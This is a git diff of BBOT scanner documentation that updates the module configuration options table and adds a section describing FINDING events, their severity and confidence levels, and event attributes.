+| modules.pgp.search_urls                                | list[str]                                            | PGP key servers to search                                                                                                                                                                                                                                                                                                      |` ['https://keyserver.ubuntu.com/pks/lookup?fingerprint=on&op=vindex&search=<query>', 'http://the.earth.li:11371/pks/lookup?fingerprint=on&op=vindex&search=<query>', 'https://pgpkeys.eu/pks/lookup?search=<query>&op=index', 'https://pgp.mit.edu/pks/lookup?search=<query>&op=index']                                                                                                                                                                  `|
+| modules.portfilter.allowed_cdn_ports                   | str                                                  | Comma-separated list of ports that are allowed to be scanned for CDNs                                                                                                                                                                                                                                                          | 80,443                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
+| modules.portfilter.cdn_tags                            | str                                                  | Comma-separated list of tags to skip, e.g. 'cdn,waf'                                                                                                                                                                                                                                                                           | cdn,waf                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
+| modules.postman.api_key                                | str &#124; list[str]                                 | Postman API Key                                                                                                                                                                                                                                                                                                                |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.postman_download.api_key                       | str &#124; list[str]                                 | Postman API Key                                                                                                                                                                                                                                                                                                                |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.postman_download.output_folder                 | str                                                  | Folder to download postman workspaces to. If not specified, downloaded workspaces will be deleted when the scan completes, to minimize disk usage.                                                                                                                                                                             |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.securitytrails.api_key                         | str &#124; list[str]                                 | SecurityTrails API key                                                                                                                                                                                                                                                                                                         |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.shodan_dns.api_key                             | str &#124; list[str]                                 | Shodan API key                                                                                                                                                                                                                                                                                                                 |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.shodan_enterprise.api_key                      | str &#124; list[str]                                 | Shodan API Key                                                                                                                                                                                                                                                                                                                 |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.shodan_enterprise.in_scope_only                | bool                                                 | Only query in-scope IPs. If False, will query up to distance 1.                                                                                                                                                                                                                                                                | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.shodan_idb.retries                             | Optional[int]                                        | How many times to retry API requests (e.g. after a 429 error). Overrides the global web.api_retries setting.                                                                                                                                                                                                                   | None                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.subdomainradar.api_key                         | str &#124; list[str]                                 | SubDomainRadar.io API key                                                                                                                                                                                                                                                                                                      |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.subdomainradar.group                           | Literal['fast', 'medium', 'deep']                    | The enumeration group to use. Choose from fast, medium, deep                                                                                                                                                                                                                                                                   | fast                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.subdomainradar.timeout                         | int                                                  | Timeout in seconds                                                                                                                                                                                                                                                                                                             | 120                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
+| modules.trajan.ado_token                               | str                                                  | Azure DevOps Personal Access Token (PAT)                                                                                                                                                                                                                                                                                       |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.trajan.github_token                            | str                                                  | GitHub API token for rate-limiting and private repo access                                                                                                                                                                                                                                                                     |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.trajan.gitlab_token                            | str                                                  | GitLab API token for private repo access                                                                                                                                                                                                                                                                                       |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.trajan.jenkins_password                        | str                                                  | Jenkins password for basic auth                                                                                                                                                                                                                                                                                                |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.trajan.jenkins_token                           | str                                                  | Jenkins API token                                                                                                                                                                                                                                                                                                              |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.trajan.jenkins_username                        | str                                                  | Jenkins username for basic auth                                                                                                                                                                                                                                                                                                |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.trajan.jfrog_token                             | str                                                  | JFrog API token                                                                                                                                                                                                                                                                                                                |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.trajan.version                                 | str                                                  | Trajan version to download and use                                                                                                                                                                                                                                                                                             | 1.0.0                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.trickest.api_key                               | str &#124; list[str]                                 | Trickest API key                                                                                                                                                                                                                                                                                                               |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.trufflehog.concurrency                         | int                                                  | Number of concurrent workers                                                                                                                                                                                                                                                                                                   | 8                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
+| modules.trufflehog.config                              | str                                                  | File path or URL to YAML trufflehog config                                                                                                                                                                                                                                                                                     |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.trufflehog.deleted_forks                       | bool                                                 | Scan for deleted github forks. WARNING: This is SLOW. For a smaller repository, this process can take 20 minutes. For a larger repository, it could take hours.                                                                                                                                                                | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.trufflehog.only_verified                       | bool                                                 | Only report credentials that have been verified                                                                                                                                                                                                                                                                                | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.trufflehog.version                             | str                                                  | trufflehog version                                                                                                                                                                                                                                                                                                             | 3.95.5                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
+| modules.urlscan.urls                                   | bool                                                 | Emit URLs in addition to DNS_NAMEs                                                                                                                                                                                                                                                                                             | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.virustotal.api_key                             | str &#124; list[str]                                 | VirusTotal API Key                                                                                                                                                                                                                                                                                                             |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.wayback.archive                                | bool                                                 | fetch archived versions of dead URLs from the Wayback Machine and emit HTTP_RESPONSE events (requires urls=true)                                                                                                                                                                                                               | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.wayback.garbage_threshold                      | int                                                  | Dedupe similar urls if they are in a group of this size or higher (lower values == less garbage data)                                                                                                                                                                                                                          | 10                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
+| modules.wayback.max_records                            | int                                                  | Maximum number of URLs to fetch from the CDX API                                                                                                                                                                                                                                                                               | 100000                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
+| modules.wayback.parameters                             | bool                                                 | emit WEB_PARAMETER events for query parameters discovered in archived URLs (requires urls=true)                                                                                                                                                                                                                                | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.wayback.urls                                   | bool                                                 | emit URLs in addition to DNS_NAMEs                                                                                                                                                                                                                                                                                             | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.asset_inventory.output_file                    | str                                                  | Set a custom output file                                                                                                                                                                                                                                                                                                       |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.asset_inventory.recheck                        | bool                                                 | When use_previous=True, don't retain past details like open ports or findings. Instead, allow them to be rediscovered by the new scan                                                                                                                                                                                          | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.asset_inventory.summary_netmask                | int                                                  | Subnet mask to use when summarizing IP addresses at end of scan                                                                                                                                                                                                                                                                | 16                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
+| modules.asset_inventory.use_previous                   | bool                                                 |` Emit previous asset inventory as new events (use in conjunction with -n <old_scan_name>)                                                                                                                                                                                                                                       `| False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.csv.output_file                                | str                                                  | Output to CSV file                                                                                                                                                                                                                                                                                                             |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.discord.event_types                            | list[str]                                            | Types of events to send                                                                                                                                                                                                                                                                                                        | ['FINDING']                                                                                                                                                                                                                                                                                                                                                                                                                                             |
+| modules.discord.min_severity                           | str                                                  | Only allow FINDING events of this severity or higher                                                                                                                                                                                                                                                                           | LOW                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
+| modules.discord.retries                                | int                                                  | Number of times to retry sending the message before skipping the event                                                                                                                                                                                                                                                         | 10                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
+| modules.discord.webhook_url                            | str                                                  | Discord webhook URL                                                                                                                                                                                                                                                                                                            |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.elastic.password                               | str                                                  | Elastic password                                                                                                                                                                                                                                                                                                               | bbotislife                                                                                                                                                                                                                                                                                                                                                                                                                                              |
+| modules.elastic.timeout                                | int                                                  | HTTP timeout                                                                                                                                                                                                                                                                                                                   | 10                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
+| modules.elastic.url                                    | str                                                  |` Elastic URL (e.g. https://localhost:9200/<your_index>/_doc)                                                                                                                                                                                                                                                                    `| https://localhost:9200/bbot_events/_doc                                                                                                                                                                                                                                                                                                                                                                                                                 |
+| modules.elastic.username                               | str                                                  | Elastic username                                                                                                                                                                                                                                                                                                               | elastic                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
+| modules.emails.output_file                             | str                                                  | Output to file                                                                                                                                                                                                                                                                                                                 |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.json.output_file                               | str                                                  | Output to file                                                                                                                                                                                                                                                                                                                 |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.kafka.bootstrap_servers                        | str                                                  | A comma-separated list of Kafka server addresses                                                                                                                                                                                                                                                                               | localhost:9092                                                                                                                                                                                                                                                                                                                                                                                                                                          |
+| modules.kafka.topic                                    | str                                                  | The Kafka topic to publish events to                                                                                                                                                                                                                                                                                           | bbot_events                                                                                                                                                                                                                                                                                                                                                                                                                                             |
+| modules.mongo.collection_prefix                        | str                                                  | Prefix the name of each collection with this string                                                                                                                                                                                                                                                                            |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.mongo.database                                 | str                                                  | The name of the database to use                                                                                                                                                                                                                                                                                                | bbot                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.mongo.password                                 | str                                                  | The password to use to connect to the database                                                                                                                                                                                                                                                                                 |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.mongo.uri                                      | str                                                  | The URI of the MongoDB server                                                                                                                                                                                                                                                                                                  | mongodb://localhost:27017                                                                                                                                                                                                                                                                                                                                                                                                                               |
+| modules.mongo.username                                 | str                                                  | The username to use to connect to the database                                                                                                                                                                                                                                                                                 |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.mysql.database                                 | str                                                  | The database name to connect to                                                                                                                                                                                                                                                                                                | bbot                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.mysql.host                                     | str                                                  | The server running MySQL                                                                                                                                                                                                                                                                                                       | localhost                                                                                                                                                                                                                                                                                                                                                                                                                                               |
+| modules.mysql.password                                 | str                                                  | The password to connect to MySQL                                                                                                                                                                                                                                                                                               | bbotislife                                                                                                                                                                                                                                                                                                                                                                                                                                              |
+| modules.mysql.port                                     | int                                                  | The port to connect to MySQL                                                                                                                                                                                                                                                                                                   | 3306                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.mysql.retries                                  | int                                                  | Number of times to retry connecting to the database (1 second between retries)                                                                                                                                                                                                                                                 | 10                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
+| modules.mysql.username                                 | str                                                  | The username to connect to MySQL                                                                                                                                                                                                                                                                                               | root                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.nats.servers                                   | list                                                 | A list of NATS server addresses                                                                                                                                                                                                                                                                                                | []                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
+| modules.nats.subject                                   | str                                                  | The NATS subject to publish events to                                                                                                                                                                                                                                                                                          | bbot_events                                                                                                                                                                                                                                                                                                                                                                                                                                             |
+| modules.neo4j.password                                 | str                                                  | Neo4j password                                                                                                                                                                                                                                                                                                                 | bbotislife                                                                                                                                                                                                                                                                                                                                                                                                                                              |
+| modules.neo4j.uri                                      | str                                                  | Neo4j server + port                                                                                                                                                                                                                                                                                                            | bolt://localhost:7687                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.neo4j.username                                 | str                                                  | Neo4j username                                                                                                                                                                                                                                                                                                                 | neo4j                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.postgres.database                              | str                                                  | The database name to connect to                                                                                                                                                                                                                                                                                                | bbot                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.postgres.host                                  | str                                                  | The server running Postgres                                                                                                                                                                                                                                                                                                    | localhost                                                                                                                                                                                                                                                                                                                                                                                                                                               |
+| modules.postgres.password                              | str                                                  | The password to connect to Postgres                                                                                                                                                                                                                                                                                            | bbotislife                                                                                                                                                                                                                                                                                                                                                                                                                                              |
+| modules.postgres.port                                  | int                                                  | The port to connect to Postgres                                                                                                                                                                                                                                                                                                | 5432                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.postgres.retries                               | int                                                  | Number of times to retry connecting to the database (1 second between retries)                                                                                                                                                                                                                                                 | 10                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
+| modules.postgres.username                              | str                                                  | The username to connect to Postgres                                                                                                                                                                                                                                                                                            | postgres                                                                                                                                                                                                                                                                                                                                                                                                                                                |
+| modules.rabbitmq.queue                                 | str                                                  | The RabbitMQ queue to publish events to                                                                                                                                                                                                                                                                                        | bbot_events                                                                                                                                                                                                                                                                                                                                                                                                                                             |
+| modules.rabbitmq.url                                   | str                                                  | The RabbitMQ connection URL                                                                                                                                                                                                                                                                                                    | amqp://guest:guest@localhost/                                                                                                                                                                                                                                                                                                                                                                                                                           |
+| modules.slack.event_types                              | list[str]                                            | Types of events to send                                                                                                                                                                                                                                                                                                        | ['FINDING']                                                                                                                                                                                                                                                                                                                                                                                                                                             |
+| modules.slack.min_severity                             | str                                                  | Only allow FINDING events of this severity or higher                                                                                                                                                                                                                                                                           | LOW                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
+| modules.slack.retries                                  | int                                                  | Number of times to retry sending the message before skipping the event                                                                                                                                                                                                                                                         | 10                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
+| modules.slack.webhook_url                              | str                                                  | Slack webhook URL                                                                                                                                                                                                                                                                                                              |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.splunk.hectoken                                | str                                                  | HEC Token                                                                                                                                                                                                                                                                                                                      |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.splunk.index                                   | str                                                  | Index to send data to                                                                                                                                                                                                                                                                                                          |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.splunk.source                                  | str                                                  | Source path to be added to the metadata                                                                                                                                                                                                                                                                                        |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.splunk.timeout                                 | int                                                  | HTTP timeout                                                                                                                                                                                                                                                                                                                   | 10                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
+| modules.splunk.url                                     | str                                                  | Web URL                                                                                                                                                                                                                                                                                                                        |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.sqlite.database                                | str                                                  | The path to the sqlite database file                                                                                                                                                                                                                                                                                           |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.sqlite.retries                                 | int                                                  | Number of times to retry connecting to the database (1 second between retries)                                                                                                                                                                                                                                                 | 10                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
+| modules.stdout.accept_dupes                            | bool                                                 | Whether to show duplicate events, default True                                                                                                                                                                                                                                                                                 | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.stdout.event_fields                            | list                                                 | Which event fields to display                                                                                                                                                                                                                                                                                                  | []                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
+| modules.stdout.event_types                             | list                                                 | Which events to display, default all event types                                                                                                                                                                                                                                                                               | []                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
+| modules.stdout.format                                  | Literal['text', 'json']                              | Which text format to display, choices: text,json                                                                                                                                                                                                                                                                               | text                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.stdout.in_scope_only                           | bool                                                 | Whether to only show in-scope events                                                                                                                                                                                                                                                                                           | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.subdomains.include_unresolved                  | bool                                                 | Include unresolved subdomains in output                                                                                                                                                                                                                                                                                        | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.subdomains.output_file                         | str                                                  | Output to file                                                                                                                                                                                                                                                                                                                 |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.teams.event_types                              | list[str]                                            | Types of events to send                                                                                                                                                                                                                                                                                                        | ['FINDING']                                                                                                                                                                                                                                                                                                                                                                                                                                             |
+| modules.teams.min_severity                             | str                                                  | Only allow FINDING events of this severity or higher                                                                                                                                                                                                                                                                           | LOW                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
+| modules.teams.retries                                  | int                                                  | Number of times to retry sending the message before skipping the event                                                                                                                                                                                                                                                         | 10                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
+| modules.teams.webhook_url                              | str                                                  | Teams webhook URL                                                                                                                                                                                                                                                                                                              |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.txt.output_file                                | str                                                  | Output to file                                                                                                                                                                                                                                                                                                                 |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.web_parameters.include_count                   | bool                                                 | Include the count of each parameter in the output                                                                                                                                                                                                                                                                              | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.web_parameters.output_file                     | str                                                  | Output to file                                                                                                                                                                                                                                                                                                                 |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.web_report.css_theme_file                      | str                                                  | CSS theme URL for HTML output                                                                                                                                                                                                                                                                                                  | https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css                                                                                                                                                                                                                                                                                                                                                                |
+| modules.web_report.output_file                         | str                                                  | Output to file                                                                                                                                                                                                                                                                                                                 |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.webhook.bearer                                 | str                                                  | Authorization Bearer token                                                                                                                                                                                                                                                                                                     |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.webhook.headers                                | dict                                                 | Additional headers to send with the request                                                                                                                                                                                                                                                                                    | {}                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
+| modules.webhook.method                                 | str                                                  | HTTP method                                                                                                                                                                                                                                                                                                                    | POST                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.webhook.password                               | str                                                  | Password (basic auth)                                                                                                                                                                                                                                                                                                          |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.webhook.timeout                                | int                                                  | HTTP timeout                                                                                                                                                                                                                                                                                                                   | 10                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
+| modules.webhook.url                                    | str                                                  | Web URL                                                                                                                                                                                                                                                                                                                        |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.webhook.username                               | str                                                  | Username (basic auth)                                                                                                                                                                                                                                                                                                          |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.websocket.ignore_ssl                           | bool                                                 | Ignores all Websocket SSL related errors (like Self-Signed Certificates, etc.)                                                                                                                                                                                                                                                 | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.websocket.preserve_graph                       | bool                                                 | Preserve full chains of events in the graph (prevents orphans)                                                                                                                                                                                                                                                                 | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.websocket.token                                | str                                                  | Authorization Bearer token                                                                                                                                                                                                                                                                                                     |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.websocket.url                                  | str                                                  | Web URL                                                                                                                                                                                                                                                                                                                        |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.zeromq.zmq_address                             | str                                                  | The ZeroMQ socket address to publish events to (e.g. tcp://localhost:5555)                                                                                                                                                                                                                                                     |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.excavate.custom_yara_rules                     | str                                                  | Include custom Yara rules                                                                                                                                                                                                                                                                                                      |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.excavate.max_form_bytes                        | int                                                  |` Maximum byte slice of the response body searched for a single <form> body. YARA only locates form openings; the bounded slice is what the Python re-based extractor scans for fields. Caps worst-case extraction work per form match.                                                                                          `| 262144                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
+| modules.excavate.speculate_params                      | bool                                                 | Enable speculative parameter extraction from JSON and XML content                                                                                                                                                                                                                                                              | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.excavate.yara_max_match_data                   | int                                                  | Sets the maximum amount of text that can extracted from a YARA regex                                                                                                                                                                                                                                                           | 2000                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.speculate.essential_only                       | bool                                                 | Only enable essential speculate features (no extra discovery)                                                                                                                                                                                                                                                                  | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.speculate.ip_range_max_hosts                   | int                                                  | Max number of hosts an IP_RANGE can contain to allow conversion into IP_ADDRESS events                                                                                                                                                                                                                                         | 65536                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.speculate.ports                                | str                                                  | The set of ports to speculate on                                                                                                                                                                                                                                                                                               | 80,443                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
 <!-- END BBOT MODULE OPTIONS -->
diff --git a/docs/scanning/events.md b/docs/scanning/events.md
index b4f7bb6453..efc380ef90 100644
--- a/docs/scanning/events.md
+++ b/docs/scanning/events.md
@@ -8,6 +8,17 @@ An Event is a piece of data discovered by BBOT. Examples include `IP_ADDRESS`, `
 event type      event data          source module    tags
 ```
 
+## Findings
+
+All vulnerability discoveries, security-relevant observations, and other notable results in BBOT are emitted as **`FINDING`** events.
+
+Each finding has a **severity** and a **confidence**:
+
+* **Severity** indicates impact: `INFO`, `LOW`, `MEDIUM`, `HIGH`, or `CRITICAL`
+* **Confidence** indicates how certain the finding is: `CONFIRMED`, `HIGH`, `MEDIUM`, `LOW`, or `UNKNOWN`
+
+Together, these let you quickly prioritize results -- e.g. a `CRITICAL` severity with `CONFIRMED` confidence is immediately actionable, while a `MEDIUM` severity with `LOW` confidence may need manual verification.
+
 ## Event Attributes
 
 Each BBOT event has the following attributes. Not all of these attributes are visible in the terminal output. However, they are always saved in `output.json` in the scan output folder. If you want to see them on the terminal, you can use `--json`.
@@ -31,6 +42,7 @@ Each BBOT event has the following attributes. Not all of these attributes are vi
 - `.tags`: a list of tags describing the event (e.g. `mx-record`, `http-title`, etc.)
 - `.module`: the module that discovered the event
 - `.module_sequence`: the recent sequence of modules that were executed to discover the event (including omitted events)
+- `.host_metadata`: cloud provider, ASN, and other metadata about the host (when available)
 - `.discovery_context`: a description of the context in which the event was discovered
 - `.discovery_path`: a list of every discovery context leading to this event
 - `.parent_chain`: a list of every event UUID leading to the discovery of this event (corresponds exactly to `.discovery_path`)
@@ -43,6 +55,7 @@ These attributes allow us to construct a visual graph of events (e.g. in [Neo4j]
   "id": "DNS_NAME:33bc005c2bdfea4d73e07db733bd11861cf6520e",
   "uuid": "DNS_NAME:6c96d512-090a-47f0-82e4-6860e46aac13",
   "scope_description": "in-scope",
+  "netloc": "link.evilcorp.com",
   "data": "link.evilcorp.com",
   "host": "link.evilcorp.com",
   "resolved_hosts": [
@@ -66,16 +79,16 @@ These attributes allow us to construct a visual graph of events (e.g. in [Neo4j]
   "web_spider_distance": 0,
   "scope_distance": 0,
   "scan": "SCAN:b6ef48bc036bc8d001595ae5061846a7e6beadb6",
-  "timestamp": "2024-10-18T15:40:13.716880+00:00",
+  "timestamp": 1729266013.71688,
   "parent": "DNS_NAME:94c92b7eaed431b37ae2a757fec4e678cc3bd213",
   "parent_uuid": "DNS_NAME:c737dffa-d4f0-4b6e-a72d-cc8c05bd892e",
   "tags": [
-    "subdomain",
     "a-record",
+    "aaaa-record",
     "cdn-akamai",
-    "in-scope",
     "cname-record",
-    "aaaa-record"
+    "in-scope",
+    "subdomain"
   ],
   "module": "speculate",
   "module_sequence": "speculate->speculate",
@@ -104,56 +117,42 @@ Below is a full list of event types along with which modules produce/consume the
 ## List of Event Types
 
 <!-- BBOT EVENTS -->
-| Event Type          | # Consuming Modules   | # Producing Modules   | Consuming Modules                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | Producing Modules                                                                                                                                                                                                                                                                                                                                                                                                                     |
-|---------------------|-----------------------|-----------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
-| *                   | 18                    | 0                     | affiliates, cloudcheck, csv, discord, dnsresolve, http, json, mysql, neo4j, postgres, python, slack, splunk, sqlite, stdout, teams, txt, websocket                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |                                                                                                                                                                                                                                                                                                                                                                                                                                       |
-| ASN                 | 0                     | 1                     |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | asn                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| AZURE_TENANT        | 1                     | 0                     | speculate                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |                                                                                                                                                                                                                                                                                                                                                                                                                                       |
-| CODE_REPOSITORY     | 7                     | 8                     | docker_pull, git_clone, gitdumper, github_workflows, google_playstore, postman_download, trufflehog                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | code_repository, dockerhub, git, github_codesearch, github_org, gitlab_com, gitlab_onprem, postman                                                                                                                                                                                                                                                                                                                                    |
-| DNS_NAME            | 56                    | 40                    | anubisdb, asset_inventory, azure_tenant, baddns, baddns_zone, bevigil, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, credshed, crt, crt_db, dehashed, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, emailformat, fullhunt, github_codesearch, github_usersearch, hackertarget, hunterio, leakix, myssl, nmap_xml, oauth, otx, pgp, portscan, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, skymem, speculate, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, viewdns, virustotal, wayback | anubisdb, azure_tenant, bevigil, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, crt, crt_db, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnsresolve, fullhunt, hackertarget, hunterio, leakix, myssl, ntlm, oauth, otx, rapiddns, securitytrails, shodan_dns, shodan_idb, speculate, sslcert, subdomaincenter, subdomainradar, trickest, urlscan, vhost, viewdns, virustotal, wayback |
-| DNS_NAME_UNRESOLVED | 3                     | 0                     | baddns, speculate, subdomains                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |                                                                                                                                                                                                                                                                                                                                                                                                                                       |
-| EMAIL_ADDRESS       | 1                     | 11                    | emails                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | credshed, dehashed, dnscaa, dnstlsrpt, emailformat, github_usersearch, hunterio, pgp, securitytxt, skymem, sslcert                                                                                                                                                                                                                                                                                                                    |
-| FILESYSTEM          | 4                     | 9                     | extractous, jadx, trufflehog, unarchive                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, jadx, postman_download, unarchive                                                                                                                                                                                                                                                                                                                         |
-| FINDING             | 2                     | 32                    | asset_inventory, web_report                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | ajaxpro, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft, bypass403, git, gitlab_onprem, graphql_introspection, host_header, hunt, legba, lightfuzz, newsletters, ntlm, nuclei, paramminer_cookies, paramminer_getparams, reflected_parameters, retirejs, shodan_idb, smuggler, speculate, telerik, trufflehog, url_manipulation, wpscan         |
-| GEOLOCATION         | 0                     | 2                     |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | ip2location, ipstack                                                                                                                                                                                                                                                                                                                                                                                                                  |
-| HASHED_PASSWORD     | 0                     | 2                     |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | credshed, dehashed                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| HTTP_RESPONSE       | 18                    | 1                     | ajaxpro, asset_inventory, badsecrets, dotnetnuke, excavate, filedownload, gitlab_onprem, host_header, newsletters, nmap_xml, ntlm, paramminer_cookies, paramminer_getparams, paramminer_headers, speculate, telerik, trufflehog, wpscan                                                                                                                                                                                                                                                                                                                                                                                                                                   | httpx                                                                                                                                                                                                                                                                                                                                                                                                                                 |
-| IP_ADDRESS          | 10                    | 5                     | asn, asset_inventory, censys_ip, ip2location, ipneighbor, ipstack, nmap_xml, portscan, shodan_idb, speculate                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | asset_inventory, censys_ip, dnsresolve, ipneighbor, speculate                                                                                                                                                                                                                                                                                                                                                                         |
